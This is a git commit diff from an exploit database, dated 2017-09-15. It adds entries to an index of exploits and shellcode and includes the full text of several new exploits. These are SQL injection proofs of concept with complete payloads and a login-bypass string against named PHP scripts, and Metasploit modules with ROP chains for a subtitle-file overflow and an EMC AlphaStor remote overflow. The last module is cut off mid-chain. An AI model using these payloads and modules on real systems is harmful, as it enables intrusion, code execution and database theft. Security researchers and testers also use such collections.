DB: 2017-09-15
13 new exploits MPlayer - '.SAMI' Subtitle File Buffer Overflow (DEP Bypass) (Metasploit) Trend Micro Control Manager - ImportFile Directory Traversal RCE (Metasploit) Trend Micro Control Manager - ImportFile Directory Traversal Remote Code Execution (Metasploit) EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit) EMC AlphaStor Device Manager - Opcode 0x72 Buffer Overflow (Metasploit) Lockstep Backup for Workgroups 4.0.3 - Buffer Overflow (Metasploit) Disk Pulse Server 2.2.34 - GetServerInfo Buffer Overflow (Metasploit) haneWIN DNS Server 1.5.3 - Buffer Overflow (Metasploit) KingScada AlarmServer 3.1.2.13 - Stack Buffer Overflow (Metasploit) Cloudview NMS 2.00b - Writable Directory Traversal Execution (Metasploit) Enterprise Edition Payment Processor Script 3.7 - SQL Injection Adserver Script 5.6 - SQL Injection PTC KSV1 Script 1.7 - 'type' Parameter SQL Injection Theater Management Script - SQL Injection Justdial Clone Script - 'fid' Parameter SQL Injection
This commit is contained in:
Offensive Security
parent
183eb53e48
commit
6e81f8d635
15 changed files with 965 additions and 3 deletions
15
files.csv
15
files.csv
|
|
@ -9235,6 +9235,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42625,platforms/windows/local/42625.py,"Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation",2017-09-06,mr_me,windows,local,0
|
42625,platforms/windows/local/42625.py,"Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation",2017-09-06,mr_me,windows,local,0
|
||||||
42626,platforms/linux/local/42626.c,"Tor (Linux) - X11 Linux Sandbox Breakout",2017-09-06,"Google Security Research",linux,local,0
|
42626,platforms/linux/local/42626.c,"Tor (Linux) - X11 Linux Sandbox Breakout",2017-09-06,"Google Security Research",linux,local,0
|
||||||
42665,platforms/windows/local/42665.py,"Jungo DriverWizard WinDriver <= 12.4.0 - Kernel Pool Overflow",2017-09-12,mr_me,windows,local,0
|
42665,platforms/windows/local/42665.py,"Jungo DriverWizard WinDriver <= 12.4.0 - Kernel Pool Overflow",2017-09-12,mr_me,windows,local,0
|
||||||
|
42718,platforms/windows/local/42718.rb,"MPlayer - '.SAMI' Subtitle File Buffer Overflow (DEP Bypass) (Metasploit)",2011-06-14,"James Fitts",windows,local,0
|
||||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||||
|
|
@ -15804,7 +15805,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42650,platforms/python/remote/42650.rb,"Docker Daemon - Unprotected TCP Socket (Metasploit)",2017-09-11,Metasploit,python,remote,2375
|
42650,platforms/python/remote/42650.rb,"Docker Daemon - Unprotected TCP Socket (Metasploit)",2017-09-11,Metasploit,python,remote,2375
|
||||||
42683,platforms/windows/remote/42683.txt,"Mako Web Server 2.5 - Multiple Vulnerabilities",2017-09-13,hyp3rlinx,windows,remote,0
|
42683,platforms/windows/remote/42683.txt,"Mako Web Server 2.5 - Multiple Vulnerabilities",2017-09-13,hyp3rlinx,windows,remote,0
|
||||||
42691,platforms/windows/remote/42691.rb,"ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,0
|
42691,platforms/windows/remote/42691.rb,"ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,0
|
||||||
42692,platforms/php/remote/42692.rb,"Trend Micro Control Manager - ImportFile Directory Traversal RCE (Metasploit)",2017-09-13,"James Fitts",php,remote,0
|
42692,platforms/php/remote/42692.rb,"Trend Micro Control Manager - ImportFile Directory Traversal Remote Code Execution (Metasploit)",2017-09-13,"James Fitts",php,remote,0
|
||||||
42693,platforms/windows/remote/42693.rb,"Viap Automation WinPLC7 5.0.45.5921 - Recv Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,0
|
42693,platforms/windows/remote/42693.rb,"Viap Automation WinPLC7 5.0.45.5921 - Recv Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,0
|
||||||
42694,platforms/windows/remote/42694.rb,"Sielco Sistemi Winlog 2.07.16 - Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,46824
|
42694,platforms/windows/remote/42694.rb,"Sielco Sistemi Winlog 2.07.16 - Buffer Overflow (Metasploit)",2017-09-13,"James Fitts",windows,remote,46824
|
||||||
42695,platforms/linux/remote/42695.rb,"Alienvault Open Source SIEM (OSSIM) < 4.8.0 - 'get_file' Information Disclosure (Metasploit)",2014-06-13,"James Fitts",linux,remote,0
|
42695,platforms/linux/remote/42695.rb,"Alienvault Open Source SIEM (OSSIM) < 4.8.0 - 'get_file' Information Disclosure (Metasploit)",2014-06-13,"James Fitts",linux,remote,0
|
||||||
|
|
@ -15819,6 +15820,13 @@ id,file,description,date,author,platform,type,port
|
||||||
42708,platforms/linux/remote/42708.rb,"Alienvault OSSIM av-centerd Util.pm sync_rserver - Command Execution (Metasploit)",2017-09-13,"James Fitts",linux,remote,40007
|
42708,platforms/linux/remote/42708.rb,"Alienvault OSSIM av-centerd Util.pm sync_rserver - Command Execution (Metasploit)",2017-09-13,"James Fitts",linux,remote,40007
|
||||||
42709,platforms/linux/remote/42709.rb,"Alienvault OSSIM av-centerd 4.7.0 - 'get_log_line' Command Injection (Metasploit)",2017-09-13,"James Fitts",linux,remote,40007
|
42709,platforms/linux/remote/42709.rb,"Alienvault OSSIM av-centerd 4.7.0 - 'get_log_line' Command Injection (Metasploit)",2017-09-13,"James Fitts",linux,remote,40007
|
||||||
42711,platforms/windows/remote/42711.txt,"Microsoft Windows .NET Framework - Remote Code Execution",2017-09-13,Voulnet,windows,remote,0
|
42711,platforms/windows/remote/42711.txt,"Microsoft Windows .NET Framework - Remote Code Execution",2017-09-13,Voulnet,windows,remote,0
|
||||||
|
42719,platforms/windows/remote/42719.rb,"EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit)",2017-09-14,"James Fitts",windows,remote,3500
|
||||||
|
42720,platforms/windows/remote/42720.rb,"EMC AlphaStor Device Manager - Opcode 0x72 Buffer Overflow (Metasploit)",2017-09-14,"James Fitts",windows,remote,3000
|
||||||
|
42721,platforms/windows/remote/42721.rb,"Lockstep Backup for Workgroups 4.0.3 - Buffer Overflow (Metasploit)",2017-09-14,"James Fitts",windows,remote,2125
|
||||||
|
42722,platforms/windows/remote/42722.rb,"Disk Pulse Server 2.2.34 - GetServerInfo Buffer Overflow (Metasploit)",2010-10-19,"James Fitts",windows,remote,0
|
||||||
|
42723,platforms/windows/remote/42723.rb,"haneWIN DNS Server 1.5.3 - Buffer Overflow (Metasploit)",2017-09-14,"James Fitts",windows,remote,53
|
||||||
|
42724,platforms/windows/remote/42724.rb,"KingScada AlarmServer 3.1.2.13 - Stack Buffer Overflow (Metasploit)",2017-09-14,"James Fitts",windows,remote,12401
|
||||||
|
42725,platforms/windows/remote/42725.rb,"Cloudview NMS 2.00b - Writable Directory Traversal Execution (Metasploit)",2017-09-14,"James Fitts",windows,remote,69
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
|
@ -38492,3 +38500,8 @@ id,file,description,date,author,platform,type,port
|
||||||
42705,platforms/windows/webapps/42705.rb,"Carlo Gavazzi Powersoft 2.1.1.1 - Directory Traversal File Disclosure (Metasploit)",2017-09-13,"James Fitts",windows,webapps,0
|
42705,platforms/windows/webapps/42705.rb,"Carlo Gavazzi Powersoft 2.1.1.1 - Directory Traversal File Disclosure (Metasploit)",2017-09-13,"James Fitts",windows,webapps,0
|
||||||
42706,platforms/windows/webapps/42706.rb,"Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure (Metasploit)",2017-09-13,"James Fitts",windows,webapps,0
|
42706,platforms/windows/webapps/42706.rb,"Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure (Metasploit)",2017-09-13,"James Fitts",windows,webapps,0
|
||||||
42707,platforms/windows/webapps/42707.txt,"Carel PlantVisor 2.4.4 - Directory Traversal",2011-09-13,"Luigi Auriemma",windows,webapps,0
|
42707,platforms/windows/webapps/42707.txt,"Carel PlantVisor 2.4.4 - Directory Traversal",2011-09-13,"Luigi Auriemma",windows,webapps,0
|
||||||
|
42713,platforms/php/webapps/42713.txt,"Enterprise Edition Payment Processor Script 3.7 - SQL Injection",2017-09-14,"Ihsan Sencan",php,webapps,0
|
||||||
|
42714,platforms/php/webapps/42714.txt,"Adserver Script 5.6 - SQL Injection",2017-09-14,"Ihsan Sencan",php,webapps,0
|
||||||
|
42715,platforms/php/webapps/42715.txt,"PTC KSV1 Script 1.7 - 'type' Parameter SQL Injection",2017-09-14,"Ihsan Sencan",php,webapps,0
|
||||||
|
42716,platforms/php/webapps/42716.txt,"Theater Management Script - SQL Injection",2017-09-14,"Ihsan Sencan",php,webapps,0
|
||||||
|
42717,platforms/php/webapps/42717.txt,"Justdial Clone Script - 'fid' Parameter SQL Injection",2017-09-14,"Ihsan Sencan",php,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
|
|
@ -63,8 +63,8 @@ and user role of the admin in the comment section
|
||||||
|
|
||||||
Reference:
|
Reference:
|
||||||
=========
|
=========
|
||||||
Video POC :
|
1. https://www.youtube.com/watch?v=8GZg1IuSfCs
|
||||||
https://drive.google.com/file/d/0B6715xUqH18MS1J5Sk13emFkQmc/view?usp=sharing
|
2. https://www.techipick.com/exploiting-router-authentication-through-web-interface
|
||||||
|
|
||||||
Disclosure Timeline:
|
Disclosure Timeline:
|
||||||
======================================
|
======================================
|
||||||
|
|
|
||||||
34
platforms/php/webapps/42713.txt
Executable file
34
platforms/php/webapps/42713.txt
Executable file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Enterprise Edition Payment Processor Script 3.7 - SQL Injection
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 14.09.2017
|
||||||
|
# Vendor Homepage: https://www.goterhosting.com/
|
||||||
|
# Software Link: https://www.goterhosting.com/payment-processor-script.php
|
||||||
|
# Demo: http://www.enterprise-edition.gvmhosting.com/
|
||||||
|
# Version: 3.7
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# Description:
|
||||||
|
# The vulnerability allows an attacker to inject sql commands....
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/login
|
||||||
|
#
|
||||||
|
# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/products?id=[SQL]&action=update
|
||||||
|
#
|
||||||
|
# -1++/*!00002UNION*/(/*!00002SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,/*!00002CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()))--+-&action=update
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/bank?id=[SQL]&action=update
|
||||||
|
#
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
27
platforms/php/webapps/42714.txt
Executable file
27
platforms/php/webapps/42714.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Adserver Script 5.6 - SQL Injection
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 14.09.2017
|
||||||
|
# Vendor Homepage: https://www.goterhosting.com/
|
||||||
|
# Software Link: https://www.goterhosting.com/adserverscript.php
|
||||||
|
# Demo: http://adserverscript.gvmhosting.com/
|
||||||
|
# Version: 5.6
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# Description:
|
||||||
|
# The vulnerability allows an advertiser to inject sql commands....
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/manage-target.php?id=[SQL]&wap=0
|
||||||
|
#
|
||||||
|
# 13-13'+/*!00008union*/+/*!00008select*/++/*!00008CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION())--+-&wap=0
|
||||||
|
#
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
27
platforms/php/webapps/42715.txt
Executable file
27
platforms/php/webapps/42715.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: PTC KSV1 Script 1.7 - SQL Injection
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 14.09.2017
|
||||||
|
# Vendor Homepage: https://www.goterhosting.com/
|
||||||
|
# Software Link: https://www.goterhosting.com/ptc-ksv1.php
|
||||||
|
# Demo: http://www.ksv1demo.gvmhosting.com/
|
||||||
|
# Version: 1.7
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# Description:
|
||||||
|
# The vulnerability allows an attacker to inject sql commands....
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/gpt.php?v=entry&type=[SQL]&id=1&
|
||||||
|
#
|
||||||
|
# +'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='&id=1&
|
||||||
|
#
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
31
platforms/php/webapps/42716.txt
Executable file
31
platforms/php/webapps/42716.txt
Executable file
|
|
@ -0,0 +1,31 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Theater Management Script - SQL Injection
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 14.09.2017
|
||||||
|
# Vendor Homepage: http://www.phpscriptsmall.com/
|
||||||
|
# Software Link: http://www.exclusivescript.com/product/8o2b4417538/php-scripts/theater-management-script
|
||||||
|
# Demo: http://198.38.86.159/~dineshkumarwork/demo/movie/
|
||||||
|
# Version: N/A
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# Description:
|
||||||
|
# The vulnerability allows an attacker to inject sql commands....
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/show-time.php?moid=[SQL]
|
||||||
|
#
|
||||||
|
# -100'++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329)--+-
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/event-detail.php?eid=[SQL]
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/trailer-detail.php?moid=[SQL]
|
||||||
|
#
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
27
platforms/php/webapps/42717.txt
Executable file
27
platforms/php/webapps/42717.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Justdial Clone Script - SQL Injection
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 14.09.2017
|
||||||
|
# Vendor Homepage: http://www.phpscriptsmall.com/
|
||||||
|
# Software Link: http://www.exclusivescript.com/product/z1mt4303451/php-scripts/justdial-clone-script
|
||||||
|
# Demo: http://74.124.215.220/~jusdil/
|
||||||
|
# Version: N/A
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# Description:
|
||||||
|
# The vulnerability allows an attacker to inject sql commands....
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
#
|
||||||
|
# http://localhost/[PATH]/restaurants-details.php?fid=[SQL]
|
||||||
|
#
|
||||||
|
# 46'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
|
||||||
|
#
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
134
platforms/windows/local/42718.rb
Executable file
134
platforms/windows/local/42718.rb
Executable file
|
|
@ -0,0 +1,134 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Mplayer SAMI Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack based buffer overflow found in
|
||||||
|
SMPlayer 0.6.9 (Permanent DEP /AlwaysON). The overflow is
|
||||||
|
triggered during the parsing of an overly long string found
|
||||||
|
in a malicious SAMI subtitle file.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'James Fitts' ],
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '49149' ],
|
||||||
|
[ 'OSVDB', '74604' ],
|
||||||
|
[ 'URL', 'http://www.saintcorporation.com/cgi-bin/exploit_info/mplayer_sami_subtitle_file_overflow' ],
|
||||||
|
[ 'URL', 'http://labs.mwrinfosecurity.com/assets/149/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'DisablePayloadHandler' => 'true',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 700,
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x3c\x7b",
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
||||||
|
'DisableNops' => 'True',
|
||||||
|
'EncoderOptions' =>
|
||||||
|
{
|
||||||
|
'BufferRegister' => 'ECX',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows XP SP3 EN',
|
||||||
|
{
|
||||||
|
# pushad/ retn
|
||||||
|
# msvcrt.dll
|
||||||
|
'Ret' => 0x77c12df9,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Jun 14 2011',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [ true, 'The file name.', 'msfmsfa.smi']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_nops(cnt)
|
||||||
|
return "\x41" * cnt
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
# Chain 2 => kernel32!virtualalloc
|
||||||
|
# msvcrt.dll
|
||||||
|
gadgets = [
|
||||||
|
0x77c23e7a, # XOR EAX, EAX/ RETN
|
||||||
|
0x77c13ffd, # XCHG EAX, ECX/ RETN
|
||||||
|
0x77c2c84b, # MOV EBX, ECX/ MOV ECX, EAX/ MOV EAX, ESI/ POP ESI/ RETN 10
|
||||||
|
0x41414141,
|
||||||
|
0x77c127e5, # INC EBX/ RETN
|
||||||
|
0x41414141,
|
||||||
|
0x41414141,
|
||||||
|
0x41414141,
|
||||||
|
0x41414141,
|
||||||
|
0x77c3b860, # POP EAX/ RETN
|
||||||
|
0x41414141,
|
||||||
|
0x77c2d998, # POP ECX/ RETN
|
||||||
|
0x41413141,
|
||||||
|
0x77c47918, # SUB EAX, ECX/ RETN
|
||||||
|
0x77c58fbc, # XCHG EAX, EDX/ RETN
|
||||||
|
0x77c3b860, # POP EAX/ RETN
|
||||||
|
0x41414141,
|
||||||
|
0x77c2d998, # POP ECX/ RETN
|
||||||
|
0x41414101,
|
||||||
|
0x77c47918, # SUB EAX, ECX/ RETN
|
||||||
|
0x77c13ffd, # XCHG EAX, ECX/ RETN
|
||||||
|
0x77c53f3a, # POP EBP/ RETN
|
||||||
|
0x77c53f3a, # POP EBP/ RETN
|
||||||
|
0x77c39dd3, # POP EDI/ POP ESI/ RETN
|
||||||
|
0x77c39dd5, # ROP NOP
|
||||||
|
0x77c168cd, # JMP EAX
|
||||||
|
0x77c21d16, # POP EAX/ RETN
|
||||||
|
0x7c809af1, # kernel32!virtualalloc
|
||||||
|
0x77c12df9, # PUSHAD/ RETN
|
||||||
|
0x77c35524, # PUSH ESP/ RETN
|
||||||
|
].flatten.pack("V*")
|
||||||
|
|
||||||
|
p = make_nops(16) + payload.encoded
|
||||||
|
|
||||||
|
boom = pattern_create(979)
|
||||||
|
boom << [target.ret].pack('V')
|
||||||
|
boom[83, gadgets.length] = gadgets
|
||||||
|
boom[203, p.length] = p
|
||||||
|
|
||||||
|
# Chain 1 => Stack Pivot
|
||||||
|
boom[963, 4] = [0x41414101].pack('V') # Size
|
||||||
|
boom[967, 4] = [0x77c58fbc].pack('V') # XCHG EAX, EDX/ RETN => exec 2
|
||||||
|
boom[971, 4] = [0x77c59f6b].pack('V') # ADD DH, BL/ RETN => exec 1
|
||||||
|
boom[975, 4] = [0x77c15ed5].pack('V') # XCHG EAX, ESP/ RETN => exec 3
|
||||||
|
|
||||||
|
|
||||||
|
smi = %Q|<SAMI>
|
||||||
|
<BODY>
|
||||||
|
<SYNC Start=0>
|
||||||
|
#{rand_text_alpha_upper(40)}
|
||||||
|
#{boom}
|
||||||
|
</SAMI>|
|
||||||
|
|
||||||
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||||
|
|
||||||
|
file_create(smi)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
__END__
|
||||||
124
platforms/windows/remote/42719.rb
Executable file
124
platforms/windows/remote/42719.rb
Executable file
|
|
@ -0,0 +1,124 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'EMC AlphaStor Library Manager Opcode 0x4f',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack based buffer overflow found in EMC
|
||||||
|
Alphastor Library Manager version < 4.0 build 910. The overflow
|
||||||
|
is triggered due to a lack of sanitization of the pointers used
|
||||||
|
for two strcpy functions.
|
||||||
|
},
|
||||||
|
'Author' => [ 'james fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
|
||||||
|
[ 'CVE', '2013-0946' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'wfsdelay' => 1000
|
||||||
|
},
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 160,
|
||||||
|
'DisableNops' => 'true',
|
||||||
|
'BadChars' => "\x00\x09\x0a\x0d",
|
||||||
|
'StackAdjustment' => -404,
|
||||||
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'SymbolLookup' => 'ws2ord',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows Server 2003 SP2 EN',
|
||||||
|
{
|
||||||
|
# msvcrt.dll
|
||||||
|
# add esp, 0c/ retn
|
||||||
|
'Ret' => 0x77bdda70,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Feb 13 2014'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3500)
|
||||||
|
], self.class )
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
p = "\x90" * 8
|
||||||
|
p << payload.encoded
|
||||||
|
|
||||||
|
# msvcrt.dll
|
||||||
|
# 96 bytes
|
||||||
|
rop = [
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x77ba1114, # ptr to kernel32!virtualprotect
|
||||||
|
0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
|
||||||
|
0xfeedface,
|
||||||
|
0x77bb0c86, # xchg eax, esi/ retn
|
||||||
|
0x77bc9801, # pop ebp/ retn
|
||||||
|
0x77be2265,
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x03C0990F,
|
||||||
|
0x77bdd441, # sub eax, 3c0940fh/ retn
|
||||||
|
0x77bb48d3, # pop eax/ retn
|
||||||
|
0x77bf21e0,
|
||||||
|
0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
|
||||||
|
0x77bbfc02, # pop ecx/ retn
|
||||||
|
0x77bef001,
|
||||||
|
0x77bd8c04, # pop edi/ retn
|
||||||
|
0x77bd8c05,
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x03c0984f,
|
||||||
|
